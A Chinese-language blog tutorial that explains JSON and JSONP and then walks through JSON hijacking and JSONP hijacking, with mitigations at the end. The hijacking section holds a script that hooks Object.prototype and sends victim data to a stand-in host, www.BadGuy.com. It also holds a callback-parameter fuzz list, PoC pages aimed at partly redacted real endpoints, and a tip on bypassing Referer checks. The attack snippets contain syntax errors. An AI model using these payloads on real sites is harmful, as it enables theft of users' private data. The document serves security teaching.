json及jsonp注入


json以及jsonp

前言?

JSONP全名為JSON with Padding,其存在的意義便有繞過(guò)諸如同源策略強(qiáng)制執(zhí)行XMLHttpRequest(AJAX requests)。是基于 JSON 格式的為解決跨域請(qǐng)求資源而產(chǎn)生的解決方案。他實(shí)現(xiàn)的基本原理是利用了 HTML 里 元素標(biāo)簽,遠(yuǎn)程調(diào)用 JSON 文件來(lái)實(shí)現(xiàn)數(shù)據(jù)傳遞。如要在 a.com 域下獲取存在 b.com 的 JSON 數(shù)據(jù)( getUsers.JSON ):

JSONP(JSON with Padding)是一個(gè)非官方的協(xié)議,它允許在服務(wù)器端集成Script tags返回至客戶端,通過(guò)javascript callback的形式實(shí)現(xiàn)跨域訪問(wèn)(這僅僅是JSONP簡(jiǎn)單的實(shí)現(xiàn)形式)。

JSONP注入是一個(gè)不太常見(jiàn)但影響非常廣泛且極危險(xiǎn)的漏洞,由于最近幾年對(duì)JSON, web APIs以及跨域通信的需求增多,不得不引起我們的重視。

json基礎(chǔ)?

JSON能夠以非常簡(jiǎn)單的方式來(lái)描述數(shù)據(jù)結(jié)構(gòu),XML能做的它都能做,因此在跨平臺(tái)方面兩者完全不分伯仲。

1、JSON只有兩種數(shù)據(jù)類型描述符,大括號(hào){}和方括號(hào)[],其余英文冒號(hào):是映射符,英文逗號(hào),是分隔符,英文雙引號(hào)”“是定義符。

2、大括號(hào){}用來(lái)描述一組“不同類型的無(wú)序鍵值對(duì)集合”(每個(gè)鍵值對(duì)可以理解為OOP的屬性描述),方括號(hào)[]用來(lái)描述一組“相同類型的有序數(shù)據(jù)集合”(可對(duì)應(yīng)OOP的數(shù)組)。

3、上述兩種集合中若有多個(gè)子項(xiàng),則通過(guò)英文逗號(hào),進(jìn)行分隔。

4、鍵值對(duì)以英文冒號(hào):進(jìn)行分隔,并且建議鍵名都加上英文雙引號(hào)”“,以便于不同語(yǔ)言的解析。

5、JSON內(nèi)部常用數(shù)據(jù)類型無(wú)非就是字符串、數(shù)字、布爾、日期、null 這么幾個(gè),字符串必須用雙引號(hào)引起來(lái),其余的都不用,日期類型比較特殊,這里就不展開(kāi)講述了,只是建議如果客戶端沒(méi)有按日期排序功能需求的話,那么把日期時(shí)間直接作為字符串傳遞就好,可以省去很多麻煩。

json實(shí)例?

????// 描述一個(gè)人?

????var person = {

????????"Name": "Bob",?

????????"Age": 32,?

????????"Company": "IBM",?

????????"Engineer": true }?

????// 獲取這個(gè)人的信息?

????var personAge = person.Age;?

????// 描述幾個(gè)人?

????var members = [?

????{?

????????"Name": "Bob",?

????????"Age": 32,?

????????"Company": "IBM",?

????????"Engineer": true?

????},?

????{?

????????"Name": "John",?

????????"Age": 20,?

????????"Company": "Oracle",?

????????"Engineer": false?

????},

?????{

?????????"Name": "Henry",?

????????"Age": 45,

?????????"Company": "Microsoft",

"Engineer": false

????}

?????????????????]?

????// 讀取其中John的公司名稱?

????var johnsCompany = members[1].Company;?

????// 描述一次會(huì)議?

????var conference = {?

????"Conference": "Future Marketing",?

????"Date": "2012-6-1",?

????"Address": "Beijing",?

????"Members":?

????[?

????????{?

????????????"Name": "Bob",?

????????????"Age": 32,?

????????????"Company": "IBM",?

????????????"Engineer": true

?????????},?

????????{?

????????????"Name": "John",?

????????????"Age": 20,?

????????????"Company": "Oracle",?

????????????"Engineer": false?

????????},?

????????{?

????????????"Name": "Henry",?

????????????"Age": 45,?

????????????"Company": "Microsoft",?

????????????"Engineer": false?

????????}?

????]?

????????????????}?

????// 讀取參會(huì)者Henry是否工程師?

????var henryIsAnEngineer = conference.Members[2].Engineer;

什么是jsonp?

1、一個(gè)眾所周知的問(wèn)題,Ajax直接請(qǐng)求普通文件存在跨域無(wú)權(quán)限訪問(wèn)的問(wèn)題,甭管你是靜態(tài)頁(yè)面、動(dòng)態(tài)網(wǎng)頁(yè)、web服務(wù)、WCF,只要是跨域請(qǐng)求,一律不準(zhǔn);

2、不過(guò)我們又發(fā)現(xiàn),Web頁(yè)面上調(diào)用js文件時(shí)則不受是否跨域的影響(不僅如此,我們還發(fā)現(xiàn)凡是擁有”src”這個(gè)屬性的標(biāo)簽都擁有跨域的能力,比如script、img、iframe);

3、于是可以判斷,當(dāng)前階段如果想通過(guò)純web端(ActiveX控件、服務(wù)端代理、屬于未來(lái)的HTML5之Websocket等方式不算)跨域訪問(wèn)數(shù)據(jù)就只有一種可能,那就是在遠(yuǎn)程服務(wù)器上設(shè)法把數(shù)據(jù)裝進(jìn)js格式的文件里,供客戶端調(diào)用和進(jìn)一步處理;

4、恰巧我們已經(jīng)知道有一種叫做JSON的純字符數(shù)據(jù)格式可以簡(jiǎn)潔的描述復(fù)雜數(shù)據(jù),更妙的是JSON還被js原生支持,所以在客戶端幾乎可以隨心所欲的處理這種格式的數(shù)據(jù);

5、這樣子解決方案就呼之欲出了,web客戶端通過(guò)與調(diào)用腳本一模一樣的方式,來(lái)調(diào)用跨域服務(wù)器上動(dòng)態(tài)生成的js格式文件(一般以JSON為后綴),顯而易見(jiàn),服務(wù)器之所以要?jiǎng)討B(tài)生成JSON文件,目的就在于把客戶端需要的數(shù)據(jù)裝入進(jìn)去。??(重點(diǎn)--簡(jiǎn)而言之。我們要加載遠(yuǎn)程文件而js又可以跨域,那么我們跨域調(diào)用遠(yuǎn)程js文件,便可以實(shí)現(xiàn)同源策略之下的跨域)

6、客戶端在對(duì)JSON文件調(diào)用成功之后,也就獲得了自己所需的數(shù)據(jù),剩下的就是按照自己需求進(jìn)行處理和展現(xiàn)了,這種獲取遠(yuǎn)程數(shù)據(jù)的方式看起來(lái)非常像AJAX,但其實(shí)并不一樣。

7、為了便于客戶端使用數(shù)據(jù),逐漸形成了一種非正式傳輸協(xié)議,人們把它稱作JSONP,該協(xié)議的一個(gè)要點(diǎn)就是允許用戶傳遞一個(gè)callback參數(shù)給服務(wù)端,然后服務(wù)端返回?cái)?shù)據(jù)時(shí)會(huì)將這個(gè)callback參數(shù)作為函數(shù)名來(lái)包裹住JSON數(shù)據(jù),這樣客戶端就可以隨意定制自己的函數(shù)來(lái)自動(dòng)處理返回?cái)?shù)據(jù)了。

jsonp跨域?qū)嵗?/h2>

前端

jsonp.html

????<!DOCTYPE html>?

????<html>

????<body>

????<p>jsonp測(cè)試頁(yè)面</p>

????<meta charset="utf-8"??content="text/html; charset=gb2312"/>

????<head> <title></title> <script type="text/javascript">

????????// 得到航班信息查詢結(jié)果后的回調(diào)函數(shù)

????????var flightHandler = function(data){

????????????alert('你查詢的航班結(jié)果是:票價(jià) ' + data.price + ' 元,' + '余票 ' + data.tickets + ' 張。');

????????};

????????// 提供jsonp服務(wù)的url地址(不管是什么類型的地址,最終生成的返回值都是一段javascript代碼)

????????var url = "http://127.0.0.1/999.js?code=CA1998&callback=flightHandler";//這里我們直接寫(xiě)在了js里傳參,很多是在get的方式url里傳參,而不是固定好了的。

????????// 創(chuàng)建script標(biāo)簽,設(shè)置其屬性

????????var script = document.createElement('script');

????????script.setAttribute('src', url);

????????// 把script標(biāo)簽加入head,此時(shí)調(diào)用開(kāi)始

????????document.getElementsByTagName('head')[0].appendChild(script);?

????</body>

????</html>

后端則有一個(gè)規(guī)則生成了一段這樣的代碼提供給jsonp.html(服務(wù)端的實(shí)現(xiàn)這里就不演示了,與你選用的語(yǔ)言無(wú)關(guān),說(shuō)到底就是拼接字符串):

示例固定的寫(xiě)一個(gè)json

????flightHandler({

"code": "CA1998",

"price": 1780,

"tickets": 5

????});

效果:

通過(guò)上述描述可以知道,若想實(shí)現(xiàn)JSONP,除了前端部分之外,還需要后端的配合,后端需返回符合JSONP要求的數(shù)據(jù)。

比如java可以這樣寫(xiě):

????Map<String,String> map = new HashMap<String,String>();??

????map.put("result", "content");??

????String resultJSON = JSONObject.toJSONString(map);???

????try {???

????????PrintWriter out = response.getWriter();???

????????String jsonpCallback = request.getParameter("jsonpCallback");//回調(diào)函數(shù)???

????????out.println(jsonpCallback+"("+resultJSON+")");//返回jsonp格式數(shù)據(jù) ,要用callback包裝下??

????????out.flush();???

????????out.close();???

????}?

????catch (Exception e)???

????{ e.printStackTrace(); }??

json劫持?

原理

(1).你正常訪問(wèn)信任站點(diǎn)(http://www.Bank.com),然后登陸信任站點(diǎn)。

(2).信任站點(diǎn)通過(guò)你的驗(yàn)證,并返回Cookie。

(3).這時(shí),在你還沒(méi)有登出信任站點(diǎn)之前,你再打開(kāi)了一個(gè)瀏覽器的tab頁(yè),并訪問(wèn)了一個(gè)惡意站點(diǎn)(www.BadGuy.com)。

(4).惡意站點(diǎn)向請(qǐng)求用戶訪問(wèn)http://www.Bank.com的一個(gè)資源。

(5).瀏覽器帶著之前的Cookie信息,向信任站點(diǎn)http://www.Bank.com發(fā)出了一個(gè)GET請(qǐng)求。

(6).信任站點(diǎn)驗(yàn)證的Cookie信息通過(guò),根據(jù)請(qǐng)求返回一個(gè)JSON數(shù)組(如果不清楚JSON,可以參考《JSON入門指南》)。

(7).你的瀏覽器收到來(lái)自http://www.Bank.com的響應(yīng)后,轉(zhuǎn)發(fā)響應(yīng)中的JSON信息給惡意站點(diǎn)。

至此,惡意站點(diǎn)拿到你關(guān)于http://www.Bank.com的信息。

到這里,你應(yīng)該有對(duì)JavaScript Hijacking有一個(gè)大概的概念,它確實(shí)和CSRF很相像,唯一不同的是,CSRF是模擬你的身份去發(fā)送請(qǐng)求,JavaScript Hijacking是模擬你的身份,竊取你在服務(wù)器上的私隱信息。

JavaScript Hijacking攻擊示范代碼:

演示代碼之前,首先明確幾點(diǎn):

(1).惡意站點(diǎn)的攻擊目標(biāo)是明確的(這里目標(biāo)就是http://www.Bank.com)。

(2).惡意站點(diǎn)是通過(guò)用戶給它返回信任網(wǎng)站的JSON數(shù)組(為什么是JSON數(shù)組?普通的JSON對(duì)象不行么?這個(gè)下面會(huì)提到!),從而獲取用戶私隱信息的。也就是說(shuō)所謂的隱私數(shù)據(jù),也就是這些JSON數(shù)組里面的數(shù)據(jù),所以信任站點(diǎn)返回的不是JSON數(shù)組的數(shù)據(jù)或者JSON里面的信息是垃圾信息,那么這個(gè)惡意站點(diǎn)是徒勞的。

(3).惡意站點(diǎn)必須實(shí)先知道用戶返回的JSON的結(jié)構(gòu)。

(4).惡意站點(diǎn)能且只能發(fā)送GET請(qǐng)求......

(5).這種攻擊是需要瀏覽器支持的,至于為什么看下面吧。

恩,下面看一下攻擊代碼吧:>

這個(gè)惡意站點(diǎn)www.BadGuy.com針對(duì)www.Bank.com的攻擊代碼:

????<script type="text/javascript">

????Object.prototype.__defineSetter__('money', function(obj) { var objString = "";??for (fld in this) {objString += fld + ": " + this[fld] + ", "; }??req.open("GET", "http://www.BadGuy.com?obj=" +escape(objString),true); } req.send(null); );

????</script>

????<script type="text/javascript" src="http://www.Bank.com/UserInfo"></script>

在用戶訪問(wèn)惡意網(wǎng)站時(shí):

????<script type="text/javascript" src="http://www.Bank.com/UserInfo"></script>

(1).這段JS代碼會(huì)要求瀏覽器發(fā)送一個(gè)GET請(qǐng)求到http://www.Bank.com/UserInfo,于是瀏覽器按照指示,帶上本地的Cookie信息,發(fā)送一個(gè)http的GET請(qǐng)求。

(2).www.Bank.Com接受到請(qǐng)求后,確認(rèn)身份后,響應(yīng)請(qǐng)求返回了一個(gè)JSON數(shù)組/JavaScript代碼段。

(3).客戶端接受到這段JS腳本后,如果返回的是一個(gè)JSON數(shù)組,比如:

????[{"Id":3,"Name":hyddd,"Money":10000}]

JSON數(shù)組被認(rèn)為是一段可執(zhí)行的JavaScript腳本,于是瀏覽器會(huì)解析執(zhí)行。

如果返回的是一個(gè)JSON對(duì)象呢?

????{"Id":3,"Name":hyddd,"Money":10000}

呵呵,這個(gè)是不會(huì)被瀏覽器執(zhí)行的,因?yàn)闉g覽器認(rèn)為:它不是一個(gè)JavaScript腳本。

如果它返回的是一個(gè)JavaScript腳本的話,恩,這得具體問(wèn)題具體分析了,不一定能拿到什么數(shù)據(jù)。

(4).看下面這段JavaScript腳本:

????<script type="text/javascript">

????Object.prototype.__defineSetter__('Money', function(obj) { var objString = "";??for (fld in this) {objString += fld + ": " + this[fld] + ", "; }??req.open("GET", "http://www.BadGuy.com?obj"= +escape(objString),true); } req.send(null); );

????</script>

它的作用就是發(fā)送受害者的私隱信息到惡意站點(diǎn)的。

這里可能有人不理解,我大概說(shuō)一下:

Object.prototype.__defineSetter__,可以看做是JavaScript中的Hook(有人把這個(gè)稱為JavaScript函數(shù)劫持,注意JavaScript的函數(shù)劫持和JavaScript Hijacking不是同一個(gè)概念,JavaScript Hijacking的核心思想和CSRF攻擊的核心思想應(yīng)該是一致的),這里是對(duì)Object的Money屬性設(shè)置了一個(gè)Hook,在JavaScript中,由于其他的對(duì)象都是派生自O(shè)bject的,所以這段代碼就對(duì)所有對(duì)象的Money屬性都做了一個(gè)Hook,當(dāng)有對(duì)象設(shè)置它的Money屬性時(shí),都會(huì)觸發(fā)上面這段代碼的運(yùn)行。注意的是:__defineSetter__這個(gè)在IE系列的瀏覽器好像是不受支持的(在IE6下試了不行),但FireFox系列的瀏覽器是肯定支持的。

后面的var objString=""...這就是發(fā)送受害者信息到惡意站點(diǎn)了,這里不說(shuō)了。

當(dāng)瀏覽器解析(3)中的JSON數(shù)組時(shí),會(huì)新建一個(gè)對(duì)象并賦值,這時(shí)候就出發(fā)了上面這段代碼,結(jié)果私隱信息就發(fā)送到惡意站點(diǎn)了。

通過(guò)

????Object.prototype.__defineSetter__

這個(gè)函數(shù)來(lái)觸發(fā)自己的惡意代碼。

但是這個(gè)函數(shù)在當(dāng)前的新版本chrome和firefox中都已經(jīng)失效了。

解決方法?

1、驗(yàn)證 HTTP Referer 頭信息;

2、在請(qǐng)求中添加 csrfToken 并在后端進(jìn)行驗(yàn)證;

jsonp劫持

尋找jsonp的接口?

1.burp抓包,一般有jsonp的數(shù)據(jù)傳輸會(huì)在mimetype中顯示為script,通過(guò)排序可以快速得找到

2.火狐控制臺(tái)查找包

3.fuzz

如果jsonp的接口沒(méi)有敏感信息傳輸,json數(shù)據(jù)包中恰好有的話,我們可以嘗試一下程序員是否有開(kāi)發(fā)jsonp的格式,大多數(shù)程序員喜歡把jsonp的回傳參數(shù)命名為callback

當(dāng)然還有其他的可能,字典用Intruder Fuzz一下試試:

????callback=attack

????cb=attack

????call=attack

????jsonp=attack

????jsonpcallback=attack

????jsonpcb=attack

????json=attack

????jsoncallback=attack

????jcb=attack

某云實(shí)例?

復(fù)制到url里便可以檢驗(yàn)是否存在jsonp接口漏洞。

修改callback原函數(shù)便可將json數(shù)據(jù)全部顯示出來(lái),一些敏感信息。

poc

????<script>

????function peiqi(json){


????????alert(json.result.pin)

????}

????</script>

????<script src="https://xx.xx.xx.xx/menu/getUserMenu?callback=peiqi"></script>

poc可以繼續(xù)構(gòu)造制定發(fā)送到自己的頁(yè)面,可見(jiàn)jsonp的原理與csrf基本為一致的,利用用戶的身份來(lái)做一些事情,或者發(fā)送自己的信息給別人,

某X jsonp



POC

????<script>

????function peiqi(json){

????????alert(json.userName)

????}

????</script>

????<script src="http://XX.XXXXX.com/checkLogin?callback=peiqi&_=15436278817"></script>

目前挖掘jsonp 一般是F12 尋找callback函數(shù),推薦一款自動(dòng)檢測(cè)XSS jsonp的谷歌插件 XssSniper

繞過(guò)

一些對(duì)referer 進(jìn)行驗(yàn)證,但是有的時(shí)候空referer可以繞過(guò)驗(yàn)證。

---

參考:https://blog.csdn.net/yjclsx/article/details/80340901

參考:http://www.cnblogs.com/hyddd/archive/2009/07/02/1515768.html

參考:https://shiyousan.com/post/635441704246553316

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容